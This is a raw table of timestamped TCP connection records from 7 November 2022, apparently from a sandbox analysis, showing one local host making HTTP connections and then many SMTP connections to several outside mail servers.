Nov 7, 2022 22:24:10.642872095 CET	80	49690	72.251.233.245	192.168.2.5
Nov 7, 2022 22:24:10.642956018 CET	49690	80	192.168.2.5	72.251.233.245
Nov 7, 2022 22:24:11.054795027 CET	49691	80	192.168.2.5	107.6.74.76
Nov 7, 2022 22:24:11.093621969 CET	49690	80	192.168.2.5	72.251.233.245
Nov 7, 2022 22:24:11.315305948 CET	80	49691	107.6.74.76	192.168.2.5
Nov 7, 2022 22:24:11.315485954 CET	49691	80	192.168.2.5	107.6.74.76
Nov 7, 2022 22:24:11.315762997 CET	49691	80	192.168.2.5	107.6.74.76
Nov 7, 2022 22:24:11.576297045 CET	80	49691	107.6.74.76	192.168.2.5
Nov 7, 2022 22:24:11.576328993 CET	80	49691	107.6.74.76	192.168.2.5
Nov 7, 2022 22:24:11.576349974 CET	80	49691	107.6.74.76	192.168.2.5
Nov 7, 2022 22:24:11.576422930 CET	49691	80	192.168.2.5	107.6.74.76
Nov 7, 2022 22:24:11.866220951 CET	49692	80	192.168.2.5	173.231.189.15
Nov 7, 2022 22:24:11.927002907 CET	49691	80	192.168.2.5	107.6.74.76
Nov 7, 2022 22:24:11.988639116 CET	80	49692	173.231.189.15	192.168.2.5
Nov 7, 2022 22:24:11.988796949 CET	49692	80	192.168.2.5	173.231.189.15
Nov 7, 2022 22:24:11.998907089 CET	49692	80	192.168.2.5	173.231.189.15
Nov 7, 2022 22:24:12.121109962 CET	80	49692	173.231.189.15	192.168.2.5
Nov 7, 2022 22:24:12.121310949 CET	80	49692	173.231.189.15	192.168.2.5
Nov 7, 2022 22:24:12.121329069 CET	80	49692	173.231.189.15	192.168.2.5
Nov 7, 2022 22:24:12.121416092 CET	49692	80	192.168.2.5	173.231.189.15
Nov 7, 2022 22:24:12.383387089 CET	49693	80	192.168.2.5	199.21.76.81
Nov 7, 2022 22:24:12.555135012 CET	80	49693	199.21.76.81	192.168.2.5
Nov 7, 2022 22:24:12.555286884 CET	49693	80	192.168.2.5	199.21.76.81
Nov 7, 2022 22:24:12.584253073 CET	49693	80	192.168.2.5	199.21.76.81
Nov 7, 2022 22:24:12.755630970 CET	80	49693	199.21.76.81	192.168.2.5
Nov 7, 2022 22:24:12.755721092 CET	80	49693	199.21.76.81	192.168.2.5
Nov 7, 2022 22:24:12.755752087 CET	80	49693	199.21.76.81	192.168.2.5
Nov 7, 2022 22:24:12.755808115 CET	49693	80	192.168.2.5	199.21.76.81
Nov 7, 2022 22:24:12.805630922 CET	49692	80	192.168.2.5	173.231.189.15
Nov 7, 2022 22:24:13.447000027 CET	49693	80	192.168.2.5	199.21.76.81
Nov 7, 2022 22:24:13.582946062 CET	49695	80	192.168.2.5	173.231.184.124
Nov 7, 2022 22:24:13.705416918 CET	80	49695	173.231.184.124	192.168.2.5
Nov 7, 2022 22:24:13.705492020 CET	49695	80	192.168.2.5	173.231.184.124
Nov 7, 2022 22:24:13.706260920 CET	49695	80	192.168.2.5	173.231.184.124
Nov 7, 2022 22:24:13.828701019 CET	80	49695	173.231.184.124	192.168.2.5
Nov 7, 2022 22:24:13.828753948 CET	80	49695	173.231.184.124	192.168.2.5
Nov 7, 2022 22:24:13.828778028 CET	80	49695	173.231.184.124	192.168.2.5
Nov 7, 2022 22:24:13.828819990 CET	49695	80	192.168.2.5	173.231.184.124
Nov 7, 2022 22:24:14.008620024 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:14.008960962 CET	49698	25	192.168.2.5	85.187.148.2
Nov 7, 2022 22:24:14.084990025 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:14.085084915 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:14.170361042 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:14.170603991 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:14.184897900 CET	49700	25	192.168.2.5	104.47.55.138
Nov 7, 2022 22:24:14.206113100 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:14.209167957 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:14.210808992 CET	49701	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:14.211071968 CET	49702	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:14.238136053 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:14.238231897 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:14.239883900 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:14.282541037 CET	49695	80	192.168.2.5	173.231.184.124
Nov 7, 2022 22:24:14.284301043 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:14.295166016 CET	25	49700	104.47.55.138	192.168.2.5
Nov 7, 2022 22:24:14.295353889 CET	49700	25	192.168.2.5	104.47.55.138
Nov 7, 2022 22:24:14.336281061 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:14.355036020 CET	25	49701	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:14.355063915 CET	25	49702	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:14.355161905 CET	49701	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:14.355190039 CET	49702	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:14.429511070 CET	25	49700	104.47.55.138	192.168.2.5
Nov 7, 2022 22:24:14.473962069 CET	49700	25	192.168.2.5	104.47.55.138
Nov 7, 2022 22:24:14.580812931 CET	25	49700	104.47.55.138	192.168.2.5
Nov 7, 2022 22:24:14.597718000 CET	49700	25	192.168.2.5	104.47.55.138
Nov 7, 2022 22:24:14.704878092 CET	25	49700	104.47.55.138	192.168.2.5
Nov 7, 2022 22:24:14.706645966 CET	49700	25	192.168.2.5	104.47.55.138
Nov 7, 2022 22:24:14.757755041 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:14.760056019 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:14.799691916 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:14.802453995 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:14.802614927 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:14.818829060 CET	25	49700	104.47.55.138	192.168.2.5
Nov 7, 2022 22:24:14.842633963 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:14.842852116 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:14.901312113 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.027321100 CET	49700	25	192.168.2.5	104.47.55.138
Nov 7, 2022 22:24:15.117688894 CET	25	49700	104.47.55.138	192.168.2.5
Nov 7, 2022 22:24:15.117837906 CET	49700	25	192.168.2.5	104.47.55.138
Nov 7, 2022 22:24:15.230984926 CET	25	49702	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:15.233063936 CET	25	49701	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:15.280847073 CET	49702	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:15.280978918 CET	49701	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:15.283297062 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.351114035 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.351284981 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.351891041 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.351918936 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.351941109 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.351958990 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.351960897 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.351983070 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.351989031 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.352006912 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.352021933 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.352021933 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.352030993 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.352072001 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.352092028 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.352099895 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.352144957 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.352375031 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.352425098 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.411596060 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.411623001 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.411680937 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.411680937 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.412101984 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.412158012 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.412338972 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.412359953 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.412378073 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.412394047 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.412410975 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.412435055 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.412499905 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.412523985 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.412554026 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.412575960 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.412584066 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.412607908 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.412626028 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.412627935 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.412643909 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.412647009 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.412664890 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.412667990 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.412686110 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.412688971 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.412710905 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.412713051 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.412734032 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.412748098 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.412763119 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.412821054 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.412839890 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.412866116 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.412888050 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.412888050 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.413557053 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.413582087 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.413614988 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.413636923 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.425666094 CET	25	49701	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:15.425740957 CET	25	49702	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:15.437994957 CET	49701	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:15.438035965 CET	49702	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:15.449278116 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.449302912 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.449593067 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.476907015 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.477078915 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.480952024 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.480983973 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481002092 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481021881 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481040001 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481055975 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481074095 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481091022 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481108904 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481149912 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481201887 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481220007 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481236935 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481255054 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481272936 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481290102 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481308937 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481327057 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481343985 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481362104 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481379986 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481398106 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481417894 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481440067 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481451035 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481465101 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481482029 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481499910 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481857061 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481877089 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481894016 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481910944 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481946945 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481964111 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481981039 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.481998920 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.482017040 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.482033968 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523379087 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523403883 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523420095 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523427963 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523436069 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523447037 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523454905 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523467064 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523479939 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523498058 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523504972 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523518085 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523646116 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.523646116 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.523662090 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523679018 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523693085 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523715019 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523739100 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523746967 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.523757935 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523772001 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523776054 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.523776054 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.523783922 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523796082 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.523828983 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.523842096 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.523861885 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523875952 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523895025 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523914099 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.523925066 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.523947001 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.523974895 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.523983955 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524003029 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524015903 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524027109 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524040937 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524044991 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.524056911 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524070024 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524071932 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.524082899 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524108887 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.524123907 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524133921 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.524142981 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524164915 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.524179935 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524197102 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524202108 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.524211884 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524234056 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.524275064 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.524492025 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524509907 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524522066 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524533987 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524547100 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524559975 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524559975 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.524573088 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524585962 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524590969 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.524626970 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.524656057 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.524808884 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524837971 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524857044 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.524882078 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.524899006 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.524914980 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.541476965 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.541503906 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.541522026 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.541539907 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.541558981 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.541578054 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.541596889 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.541615009 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.541635036 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.541654110 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.541670084 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.541673899 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.541695118 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.541718960 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.541728973 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.541738987 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.541754007 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.541754007 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.541759968 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.541779041 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.541780949 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.541779041 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.541796923 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.541804075 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.541825056 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.541842937 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.541842937 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.541862011 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.541877031 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.581465006 CET	25	49701	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:15.581654072 CET	49701	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:15.583477020 CET	25	49702	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:15.583749056 CET	49702	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:15.587323904 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.587346077 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.587363958 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.587439060 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.587698936 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.587718010 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.587737083 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.587754965 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.587773085 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.587790966 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.587807894 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.587825060 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.587841988 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.587860107 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.587877989 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.587922096 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.587939978 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.587958097 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.587975025 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.587992907 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.588355064 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.588377953 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.588397980 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.588416100 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.588433027 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.588450909 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.588749886 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.588774920 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.588792086 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.588809967 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.588992119 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589021921 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589039087 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589056969 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589075089 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589092016 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589108944 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589220047 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589240074 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589257002 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589327097 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589344978 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589363098 CET	25	49697	142.250.102.27	192.168.2.5
